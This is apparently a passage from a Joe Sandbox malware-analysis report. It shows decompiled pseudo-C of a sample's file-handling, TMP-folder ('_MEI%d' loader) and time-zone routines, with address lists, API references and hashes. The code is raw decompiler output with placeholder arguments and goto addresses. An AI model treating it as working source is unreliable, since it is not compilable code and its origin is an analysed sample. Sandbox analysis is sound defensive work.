				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t234 != 0xffffffff) goto 0xda8f5e54;
				_t263 =  *__rdx;
				_t237 =  *((intOrPtr*)(0xda91ca20 + (_t263 >> 6) * 8));
				 *(_t237 + 0x38 + (_t263 + _t263 * 8) * 8) =  *(_t237 + 0x38 + (_t263 + _t263 * 8) * 8) & 0x000000fe;
				E00007FF77FF7DA8E4308(GetLastError(), _t237, _t263 + _t263 * 8);
				goto 0xda8f5d3d;
				_t161 = GetFileType(_t330); // executed
				if (_t161 != 0) goto 0xda8f5eb2;
				_t186 = GetLastError();
				E00007FF77FF7DA8E4308(_t162, _t237, _t234);
				 *( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) & 0x000000fe;
				CloseHandle(_t326);
				if (_t186 != 0) goto 0xda8f5d3d;
				_t165 = E00007FF77FF7DA8E4394(_t237);
				 *_t237 = 0xd;
				goto 0xda8f5d3d;
				r14b =  *(_t309 - 0x59);
				if (_t165 != 2) goto 0xda8f5ec1;
				r14b = r14b | 0x00000040;
				goto 0xda8f5eca;
				if (_t165 != 3) goto 0xda8f5eca;
				r14b = r14b | 0x00000008;
				E00007FF77FF7DA8E6B64(_t165, _t186,  *__rdx, _t257, _t234, __rdx, _t306, _t309, _t322, _t320);
				r14b = r14b | 0x00000001;
				 *(_t309 - 0x41) = r14b;
				 *(_t309 - 0x59) = r14b;
				 *( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) = r14b;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x39 + ( *__rdx +  *__rdx * 8) * 8)) = sil;
				if ((r12b & 0x00000002) == 0) goto 0xda8f5f3e;
				_t167 = E00007FF77FF7DA8F5BF8(_t186,  *__rdx, r12d & 0x0000003f, _t257, _t309 - 0x21);
				r14d = _t167;
				if (_t167 == 0) goto 0xda8f5f3e;
				E00007FF77FF7DA8E9EE0( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)), _t257, _t303);
				goto 0xda8f608a;
				asm("movups xmm0, [ebp-0x59]");
				asm("movsd xmm1, [ebp-0x39]");
				r8d = r12d;
				asm("movaps [ebp-0x1], xmm0");
				 *((intOrPtr*)(_t309 - 0x61)) = sil;
				asm("movsd [ebp+0xf], xmm1");
				r14d = E00007FF77FF7DA8F5770( *_t303, _t257, _t309 - 1, _t306, _t309 - 0x61);
				if (r14d == 0) goto 0xda8f5f75;
				goto 0xda8f5f31;
				 *((char*)( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x39 + ( *_t303 +  *_t303 * 8) * 8)) =  *((intOrPtr*)(_t309 - 0x61));
				 *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8) ^ (r12d >> 0x00000010 ^  *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8)) & 0x00000001;
				if (( *(_t309 - 0x41) & 0x00000048) != 0) goto 0xda8f5fd9;
				if ((r12b & 0x00000008) == 0) goto 0xda8f5fd9;
				_t279 =  *_t303;
				_t249 =  *((intOrPtr*)(0xda91ca20 + (_t279 >> 6) * 8));
				 *(_t249 + 0x38 + (_t279 + _t279 * 8) * 8) =  *(_t249 + 0x38 + (_t279 + _t279 * 8) * 8) | 0x00000020;
				if ((_t186 & 0xc0000000) != 0xc0000000) goto 0xda8f6088;
				if ((r12b & 0x00000001) == 0) goto 0xda8f6088;
				CloseHandle(_t308);
				r8d =  *(_t309 - 0x29);
				asm("btr ebx, 0x1f");
				 *((long long*)(_t312 + 0x30)) = _t306;
				 *(_t312 + 0x28) = 0xc0000000;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				 *(_t309 - 0x55) = _t186;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t249 != 0xffffffff) goto 0xda8f606e;
				_t182 = E00007FF77FF7DA8E4308(GetLastError(), _t249,  *((intOrPtr*)(_t309 + 0x5f)));
				 *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x38 + ( *_t303 +  *_t303 * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x38 + ( *_t303 +  *_t303 * 8) * 8) & 0x000000fe;
				E00007FF77FF7DA8E6D8C(_t182, _t186,  *_t303, _t257, _t303, _t306);
				goto 0xda8f5d3d;
				 *((long long*)( *((intOrPtr*)(0xda91ca20 + ( *_t303 >> 6) * 8)) + 0x28 + ( *_t303 +  *_t303 * 8) * 8)) = _t249;
				return 0;
			}



























                                                                                                                              0x7ff7da8f5cbc
                                                                                                                              0x7ff7da8f5cbf
                                                                                                                              0x7ff7da8f5cc3
                                                                                                                              0x7ff7da8f5cc7
                                                                                                                              0x7ff7da8f5ccb
                                                                                                                              0x7ff7da8f5cd8
                                                                                                                              0x7ff7da8f5cdc
                                                                                                                              0x7ff7da8f5ce3
                                                                                                                              0x7ff7da8f5ce6
                                                                                                                              0x7ff7da8f5ce9
                                                                                                                              0x7ff7da8f5ced
                                                                                                                              0x7ff7da8f5cf0
                                                                                                                              0x7ff7da8f5cf4
                                                                                                                              0x7ff7da8f5cfe
                                                                                                                              0x7ff7da8f5d03
                                                                                                                              0x7ff7da8f5d06
                                                                                                                              0x7ff7da8f5d0b
                                                                                                                              0x7ff7da8f5d0f
                                                                                                                              0x7ff7da8f5d14
                                                                                                                              0x7ff7da8f5d19
                                                                                                                              0x7ff7da8f5d22
                                                                                                                              0x7ff7da8f5d27
                                                                                                                              0x7ff7da8f5d2f
                                                                                                                              0x7ff7da8f5d31
                                                                                                                              0x7ff7da8f5d38
                                                                                                                              0x7ff7da8f5d3a
                                                                                                                              0x7ff7da8f5d3d
                                                                                                                              0x7ff7da8f5d44
                                                                                                                              0x7ff7da8f5d49
                                                                                                                              0x7ff7da8f5d4e
                                                                                                                              0x7ff7da8f5d53
                                                                                                                              0x7ff7da8f5d55
                                                                                                                              0x7ff7da8f5d5c
                                                                                                                              0x7ff7da8f5d5e
                                                                                                                              0x7ff7da8f5d61
                                                                                                                              0x7ff7da8f5d66
                                                                                                                              0x7ff7da8f5d6c
                                                                                                                              0x7ff7da8f5d80
                                                                                                                              0x7ff7da8f5d8c
                                                                                                                              0x7ff7da8f5d93
                                                                                                                              0x7ff7da8f5d9b
                                                                                                                              0x7ff7da8f5da0
                                                                                                                              0x7ff7da8f5da5
                                                                                                                              0x7ff7da8f5db0
                                                                                                                              0x7ff7da8f5db7
                                                                                                                              0x7ff7da8f5dbb
                                                                                                                              0x7ff7da8f5dbe
                                                                                                                              0x7ff7da8f5dc2
                                                                                                                              0x7ff7da8f5dc8
                                                                                                                              0x7ff7da8f5dd7
                                                                                                                              0x7ff7da8f5ddf
                                                                                                                              0x7ff7da8f5de5
                                                                                                                              0x7ff7da8f5dee
                                                                                                                              0x7ff7da8f5df3
                                                                                                                              0x7ff7da8f5df7
                                                                                                                              0x7ff7da8f5dfa
                                                                                                                              0x7ff7da8f5e01
                                                                                                                              0x7ff7da8f5e06
                                                                                                                              0x7ff7da8f5e12
                                                                                                                              0x7ff7da8f5e1f
                                                                                                                              0x7ff7da8f5e21
                                                                                                                              0x7ff7da8f5e39
                                                                                                                              0x7ff7da8f5e3d
                                                                                                                              0x7ff7da8f5e4a
                                                                                                                              0x7ff7da8f5e4f
                                                                                                                              0x7ff7da8f5e57
                                                                                                                              0x7ff7da8f5e5f
                                                                                                                              0x7ff7da8f5e69
                                                                                                                              0x7ff7da8f5e6b
                                                                                                                              0x7ff7da8f5e8c
                                                                                                                              0x7ff7da8f5e94
                                                                                                                              0x7ff7da8f5e9c
                                                                                                                              0x7ff7da8f5ea2
                                                                                                                              0x7ff7da8f5ea7
                                                                                                                              0x7ff7da8f5ead
                                                                                                                              0x7ff7da8f5eb2
                                                                                                                              0x7ff7da8f5eb9
                                                                                                                              0x7ff7da8f5ebb
                                                                                                                              0x7ff7da8f5ebf
                                                                                                                              0x7ff7da8f5ec4
                                                                                                                              0x7ff7da8f5ec6
                                                                                                                              0x7ff7da8f5ecf
                                                                                                                              0x7ff7da8f5ee1
                                                                                                                              0x7ff7da8f5eec
                                                                                                                              0x7ff7da8f5ef0
                                                                                                                              0x7ff7da8f5efc
                                                                                                                              0x7ff7da8f5f16
                                                                                                                              0x7ff7da8f5f1f
                                                                                                                              0x7ff7da8f5f23
                                                                                                                              0x7ff7da8f5f28
                                                                                                                              0x7ff7da8f5f2d
                                                                                                                              0x7ff7da8f5f31
                                                                                                                              0x7ff7da8f5f39
                                                                                                                              0x7ff7da8f5f3e
                                                                                                                              0x7ff7da8f5f48
                                                                                                                              0x7ff7da8f5f51
                                                                                                                              0x7ff7da8f5f54
                                                                                                                              0x7ff7da8f5f58
                                                                                                                              0x7ff7da8f5f5c
                                                                                                                              0x7ff7da8f5f66
                                                                                                                              0x7ff7da8f5f6f
                                                                                                                              0x7ff7da8f5f73
                                                                                                                              0x7ff7da8f5f8a
                                                                                                                              0x7ff7da8f5faf
                                                                                                                              0x7ff7da8f5fb7
                                                                                                                              0x7ff7da8f5fbd
                                                                                                                              0x7ff7da8f5fbf
                                                                                                                              0x7ff7da8f5fd0
                                                                                                                              0x7ff7da8f5fd4
                                                                                                                              0x7ff7da8f5fe4
                                                                                                                              0x7ff7da8f5fee
                                                                                                                              0x7ff7da8f5ff7
                                                                                                                              0x7ff7da8f6005
                                                                                                                              0x7ff7da8f6009
                                                                                                                              0x7ff7da8f600d
                                                                                                                              0x7ff7da8f6012
                                                                                                                              0x7ff7da8f6019
                                                                                                                              0x7ff7da8f6021
                                                                                                                              0x7ff7da8f602c
                                                                                                                              0x7ff7da8f6039
                                                                                                                              0x7ff7da8f6043
                                                                                                                              0x7ff7da8f605d
                                                                                                                              0x7ff7da8f6064
                                                                                                                              0x7ff7da8f6069
                                                                                                                              0x7ff7da8f6083
                                                                                                                              0x7ff7da8f60aa

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1617910340-0
                                                                                                                              • Opcode ID: fc4e3d656f0044a26b74fdf304308c51d512279bf8c0536431011a1210b51cce
                                                                                                                              • Instruction ID: f8fb22f5ef999e2b23ee530ee61776d181edcacfc9b41277b23e90fc15dd07e0
                                                                                                                              • Opcode Fuzzy Hash: fc4e3d656f0044a26b74fdf304308c51d512279bf8c0536431011a1210b51cce
                                                                                                                              • Instruction Fuzzy Hash: 51C1E432B28A4385FB15EFA4C4805AC7761FB99BA8B810276DE1E977D6CF39D065C310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D6760 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 139COMMONCrypto
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 53%
                                                                                                                              			E00007FF77FF7DA8D6760(void* __ecx, void* __edx, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r8, void* __r9, intOrPtr _a8, char _a16, long long _a24, long long _a32, char _a56, signed int _a8248, void* _a8264) {
				void* __rsi;
				void* _t17;
				long _t21;
				void* _t24;
				void* _t50;
				void* _t60;
				signed long long _t72;
				signed long long _t73;
				intOrPtr _t122;
				void* _t124;
				void* _t126;
				void* _t131;
				void* _t132;
				void* _t133;
				void* _t135;

				_t131 = __r9;
				_t74 = __rbx;
				_t50 = __ecx;
				_a24 = __rbx;
				_a32 = __rbp;
				E00007FF77FF7DA8DAD20(0x2060, __rax, _t132, _t133);
				_t127 = _t126 - __rax;
				_t72 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t73 = _t72 ^ _t126 - __rax;
				_a8248 = _t73;
				_t124 = __rdx;
				_t135 = __rcx;
				if (__rdx == 0) goto 0xda8d67eb;
				E00007FF77FF7DA8D6970(_t73, "TMP");
				E00007FF77FF7DA8D6460(__edx, _t73, __rbx, _t124, __r8);
				if (_t73 == 0) goto 0xda8d68bf;
				_t17 = E00007FF77FF7DA8E6604(_t50, _t73, L"TMP", _t73);
				E00007FF77FF7DA8E3FEC(_t50, _t73, _t73, __r8);
				if (_t17 == 0) goto 0xda8d67f0;
				E00007FF77FF7DA8D2770(_t73, "LOADER: Failed to set the TMP environment variable.\n", _t73, __r8, _t131);
				goto 0xda8d6948;
				_t122 = _a8;
				_t21 = GetTempPathW(??, ??);
				0xda8e9054();
				r9d = _t21;
				_t130 = L"_MEI%d";
				E00007FF77FF7DA8D2470(_t73,  &_a16,  &_a56, L"_MEI%d", _t131);
				E00007FF77FF7DA8E72BC(_t131);
				_t24 = E00007FF77FF7DA8D7810(_t73, _t74, _t73); // executed
				if (_t24 == 0) goto 0xda8d68c6;
				E00007FF77FF7DA8E3FEC(0x1000, _t73,  &_a16, L"_MEI%d");
				if (1 - 5 < 0) goto 0xda8d6820;
				if (_t124 == 0) goto 0xda8d68bf;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t73, _t74, _t73, "TMP", _t122, L"_MEI%d");
				if (_t122 == 0) goto 0xda8d68a9;
				r8d = 0;
				_t119 = _t73;
				E00007FF77FF7DA8D79A0(_t73, _t74, _t73, _t122, _t122, L"_MEI%d");
				E00007FF77FF7DA8E6604(0, _t73, _t73, _t73);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, L"_MEI%d");
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, L"_MEI%d");
				E00007FF77FF7DA8E3FEC(0, _t122, _t73, L"_MEI%d");
				goto 0xda8d6948;
				SetEnvironmentVariableW(??, ??);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				goto 0xda8d6948;
				r8d = 0x1000;
				E00007FF77FF7DA8D7AB0(_t60, _t73, _t135, _t73, _t122, _t124, _t130);
				E00007FF77FF7DA8E3FEC(0, _t73, _t119, _t130);
				if (_t124 == 0) goto 0xda8d6943;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t73, _t73, _t119, "TMP", _t122, _t130);
				if (_t122 == 0) goto 0xda8d692d;
				r8d = 0;
				E00007FF77FF7DA8D79A0(_t73, _t73, _t119, _t122, _t122, _t130);
				E00007FF77FF7DA8E6604(0, _t73, _t73, _t73);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				goto 0xda8d693e;
				SetEnvironmentVariableW(??, ??);
				E00007FF77FF7DA8E3FEC(0, _t73, _t73, _t130);
				return E00007FF77FF7DA8DACF0(1, 0, _a8248 ^ _t127);
			}


















                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6760
                                                                                                                              0x7ff7da8d6765
                                                                                                                              0x7ff7da8d6773
                                                                                                                              0x7ff7da8d6778
                                                                                                                              0x7ff7da8d677b
                                                                                                                              0x7ff7da8d6782
                                                                                                                              0x7ff7da8d6785
                                                                                                                              0x7ff7da8d678d
                                                                                                                              0x7ff7da8d6790
                                                                                                                              0x7ff7da8d6796
                                                                                                                              0x7ff7da8d679f
                                                                                                                              0x7ff7da8d67aa
                                                                                                                              0x7ff7da8d67b5
                                                                                                                              0x7ff7da8d67c5
                                                                                                                              0x7ff7da8d67cf
                                                                                                                              0x7ff7da8d67d6
                                                                                                                              0x7ff7da8d67df
                                                                                                                              0x7ff7da8d67e6
                                                                                                                              0x7ff7da8d67eb
                                                                                                                              0x7ff7da8d67fa
                                                                                                                              0x7ff7da8d6800
                                                                                                                              0x7ff7da8d6805
                                                                                                                              0x7ff7da8d6808
                                                                                                                              0x7ff7da8d6819
                                                                                                                              0x7ff7da8d682a
                                                                                                                              0x7ff7da8d6835
                                                                                                                              0x7ff7da8d683c
                                                                                                                              0x7ff7da8d6845
                                                                                                                              0x7ff7da8d684f
                                                                                                                              0x7ff7da8d6854
                                                                                                                              0x7ff7da8d6856
                                                                                                                              0x7ff7da8d6862
                                                                                                                              0x7ff7da8d686a
                                                                                                                              0x7ff7da8d686c
                                                                                                                              0x7ff7da8d6874
                                                                                                                              0x7ff7da8d6877
                                                                                                                              0x7ff7da8d6885
                                                                                                                              0x7ff7da8d688d
                                                                                                                              0x7ff7da8d6895
                                                                                                                              0x7ff7da8d689d
                                                                                                                              0x7ff7da8d68a4
                                                                                                                              0x7ff7da8d68b1
                                                                                                                              0x7ff7da8d68ba
                                                                                                                              0x7ff7da8d68c1
                                                                                                                              0x7ff7da8d68c6
                                                                                                                              0x7ff7da8d68d2
                                                                                                                              0x7ff7da8d68da
                                                                                                                              0x7ff7da8d68e2
                                                                                                                              0x7ff7da8d68e4
                                                                                                                              0x7ff7da8d68f0
                                                                                                                              0x7ff7da8d68f8
                                                                                                                              0x7ff7da8d68fa
                                                                                                                              0x7ff7da8d6905
                                                                                                                              0x7ff7da8d6913
                                                                                                                              0x7ff7da8d691b
                                                                                                                              0x7ff7da8d6923
                                                                                                                              0x7ff7da8d692b
                                                                                                                              0x7ff7da8d6935
                                                                                                                              0x7ff7da8d693e
                                                                                                                              0x7ff7da8d696f

                                                                                                                              APIs
                                                                                                                              • GetTempPathW.KERNEL32(?,00000000,?,00007FF7DA8D672D), ref: 00007FF7DA8D67FA
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: GetEnvironmentVariableW.KERNEL32(00007FF7DA8D36C7), ref: 00007FF7DA8D69AA
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7DA8D69C7
                                                                                                                                • Part of subcall function 00007FF7DA8E6604: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8E661D
                                                                                                                              • SetEnvironmentVariableW.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF7DA8D68B1
                                                                                                                                • Part of subcall function 00007FF7DA8D2770: MessageBoxW.USER32 ref: 00007FF7DA8D2841
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
                                                                                                                              • String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
                                                                                                                              • API String ID: 3752271684-1116378104
                                                                                                                              • Opcode ID: b5988d867f4919b5775705584ef20fab19ee280ee23fdaadd2eee103ad2ae5d2
                                                                                                                              • Instruction ID: 5bb38dbb4551eec1dfa33633dc302df26c42e671ab7f9b32d310b4fd9fc8495f
                                                                                                                              • Opcode Fuzzy Hash: b5988d867f4919b5775705584ef20fab19ee280ee23fdaadd2eee103ad2ae5d2
                                                                                                                              • Instruction Fuzzy Hash: A351AE11F2964788FE56B72299152BED251BF99BD0FC800B3ED0E47797EE2DE5218320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F4FEC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMONCrypto
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 799 7ff7da8f4fec-7ff7da8f5021 call 7ff7da8f46f8 call 7ff7da8f4700 call 7ff7da8f4768 806 7ff7da8f515f-7ff7da8f51cd call 7ff7da8e9d20 call 7ff7da8f0608 799->806 807 7ff7da8f5027-7ff7da8f5032 call 7ff7da8f4708 799->807 819 7ff7da8f51cf-7ff7da8f51d6 806->819 820 7ff7da8f51db-7ff7da8f51de 806->820 807->806 812 7ff7da8f5038-7ff7da8f5043 call 7ff7da8f4738 807->812 812->806 818 7ff7da8f5049-7ff7da8f506c call 7ff7da8e9d68 GetTimeZoneInformation 812->818 831 7ff7da8f5134-7ff7da8f515e call 7ff7da8f46f0 call 7ff7da8f46e0 call 7ff7da8f46e8 818->831 832 7ff7da8f5072-7ff7da8f5093 818->832 822 7ff7da8f526b-7ff7da8f526e 819->822 823 7ff7da8f5215-7ff7da8f5228 call 7ff7da8eca1c 820->823 824 7ff7da8f51e0 820->824 827 7ff7da8f51e3 call 7ff7da8f4fec 822->827 828 7ff7da8f5274-7ff7da8f527c call 7ff7da8f4d70 822->828 835 7ff7da8f5233-7ff7da8f524e call 7ff7da8f0608 823->835 836 7ff7da8f522a 823->836 824->827 839 7ff7da8f51e8-7ff7da8f5214 call 7ff7da8e9d68 call 7ff7da8dacf0 827->839 828->839 837 7ff7da8f5095-7ff7da8f509b 832->837 838 7ff7da8f509e-7ff7da8f50a5 832->838 855 7ff7da8f5255-7ff7da8f5267 call 7ff7da8e9d68 835->855 856 7ff7da8f5250-7ff7da8f5253 835->856 841 7ff7da8f522c-7ff7da8f5231 call 7ff7da8e9d68 836->841 837->838 843 7ff7da8f50b9 838->843 844 7ff7da8f50a7-7ff7da8f50af 838->844 841->824 849 7ff7da8f50bb-7ff7da8f512f call 7ff7da8dc170 * 4 call 7ff7da8f1bcc call 7ff7da8f5284 * 2 843->849 844->843 850 7ff7da8f50b1-7ff7da8f50b7 844->850 849->831 850->849 855->822 856->841
                                                                                                                              C-Code - Quality: 80%
                                                                                                                              			E00007FF77FF7DA8F4FEC(void* __eflags, signed int* __rax, long long __rbx, void* __rdx, void* __r9, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				void* __rsi;
				void* _t21;
				long _t28;
				intOrPtr _t31;
				void* _t33;
				void* _t36;
				void* _t37;
				void* _t38;
				signed int _t40;
				signed int _t49;
				intOrPtr _t59;
				intOrPtr _t60;
				signed int* _t63;
				long long _t69;

				_t64 = __rbx;
				_t63 = __rax;
				_a32 = __rbx;
				E00007FF77FF7DA8F4700(E00007FF77FF7DA8F46F8(_t21));
				_a8 = 0;
				_a16 = 0;
				_a24 = 0;
				if (E00007FF77FF7DA8F4768(_t63,  &_a8) != 0) goto 0xda8f515f;
				if (E00007FF77FF7DA8F4708(_t63,  &_a16) != 0) goto 0xda8f515f;
				if (E00007FF77FF7DA8F4738(_t63,  &_a24) != 0) goto 0xda8f515f;
				_t69 =  *0xda91d2b0; // 0x0
				E00007FF77FF7DA8E9D68(_t63, _t69);
				 *0xda91d2b0 = __rbx; // executed
				_t28 = GetTimeZoneInformation(??); // executed
				if (_t28 == 0xffffffff) goto 0xda8f5134;
				_t49 =  *0xda91d2d0 * 0x3c;
				_t8 = _t64 + 1; // 0x1
				_t59 =  *0xda91d316; // 0xb
				r8d =  *0xda91d324; // 0x0
				 *0xda91d2c0 = _t8;
				_a8 = _t49;
				if (_t59 == 0) goto 0xda8f509e;
				_a8 = r8d * 0x3c + _t49;
				_t60 =  *0xda91d36a; // 0x3
				if (_t60 == 0) goto 0xda8f50b9;
				_t31 =  *0xda91d378; // 0xffffffc4
				if (_t31 == 0) goto 0xda8f50b9;
				_t40 = (_t31 - r8d) * 0x3c;
				goto 0xda8f50bb;
				_a24 = _t40;
				_a16 = _t40;
				r8d = 0x80;
				E00007FF77FF7DA8DC170();
				r8d = 0x80;
				E00007FF77FF7DA8DC170();
				r8d = 0x40;
				E00007FF77FF7DA8DC170();
				r8d = 0x40;
				E00007FF77FF7DA8DC170();
				_t33 = E00007FF77FF7DA8F1BCC(_t40, 0, _t63, __rbx, _t63[2], __rdx, _t63, __r9);
				r9d = _t33;
				E00007FF77FF7DA8F5284(__rbx, 0xda91d2d4,  *_t63, _t63,  *_t63, __r9);
				r9d = _t33;
				_t36 = E00007FF77FF7DA8F46F0(E00007FF77FF7DA8F5284(_t64, 0xda91d328, _t63[2], _t63, _t63[2], __r9));
				 *_t63 = _a8;
				_t37 = E00007FF77FF7DA8F46E0(_t36);
				 *_t63 = _a16;
				_t38 = E00007FF77FF7DA8F46E8(_t37);
				 *_t63 = _a24;
				return _t38;
			}

















                                                                                                                              0x7ff7da8f4fec
                                                                                                                              0x7ff7da8f4fec
                                                                                                                              0x7ff7da8f4fec
                                                                                                                              0x7ff7da8f5003
                                                                                                                              0x7ff7da8f500e
                                                                                                                              0x7ff7da8f5014
                                                                                                                              0x7ff7da8f5017
                                                                                                                              0x7ff7da8f5021
                                                                                                                              0x7ff7da8f5032
                                                                                                                              0x7ff7da8f5043
                                                                                                                              0x7ff7da8f5049
                                                                                                                              0x7ff7da8f5050
                                                                                                                              0x7ff7da8f505c
                                                                                                                              0x7ff7da8f5063
                                                                                                                              0x7ff7da8f506c
                                                                                                                              0x7ff7da8f5072
                                                                                                                              0x7ff7da8f5079
                                                                                                                              0x7ff7da8f507c
                                                                                                                              0x7ff7da8f5083
                                                                                                                              0x7ff7da8f508a
                                                                                                                              0x7ff7da8f5090
                                                                                                                              0x7ff7da8f5093
                                                                                                                              0x7ff7da8f509b
                                                                                                                              0x7ff7da8f509e
                                                                                                                              0x7ff7da8f50a5
                                                                                                                              0x7ff7da8f50a7
                                                                                                                              0x7ff7da8f50af
                                                                                                                              0x7ff7da8f50b4
                                                                                                                              0x7ff7da8f50b7
                                                                                                                              0x7ff7da8f50bb
                                                                                                                              0x7ff7da8f50c0
                                                                                                                              0x7ff7da8f50cb
                                                                                                                              0x7ff7da8f50ce
                                                                                                                              0x7ff7da8f50d7
                                                                                                                              0x7ff7da8f50dc
                                                                                                                              0x7ff7da8f50e9
                                                                                                                              0x7ff7da8f50ee
                                                                                                                              0x7ff7da8f50f7
                                                                                                                              0x7ff7da8f50fc
                                                                                                                              0x7ff7da8f5101
                                                                                                                              0x7ff7da8f5113
                                                                                                                              0x7ff7da8f5118
                                                                                                                              0x7ff7da8f512c
                                                                                                                              0x7ff7da8f5137
                                                                                                                              0x7ff7da8f513c
                                                                                                                              0x7ff7da8f5141
                                                                                                                              0x7ff7da8f5146
                                                                                                                              0x7ff7da8f514b
                                                                                                                              0x7ff7da8f5150
                                                                                                                              0x7ff7da8f515e

                                                                                                                              APIs
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F501A
                                                                                                                                • Part of subcall function 00007FF7DA8F4768: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F477C
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F502B
                                                                                                                                • Part of subcall function 00007FF7DA8F4708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F471C
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F503C
                                                                                                                                • Part of subcall function 00007FF7DA8F4738: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F474C
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: RtlReleasePrivilege.NTDLL(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D7E
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: GetLastError.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D88
                                                                                                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7DA8F527C), ref: 00007FF7DA8F5063
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
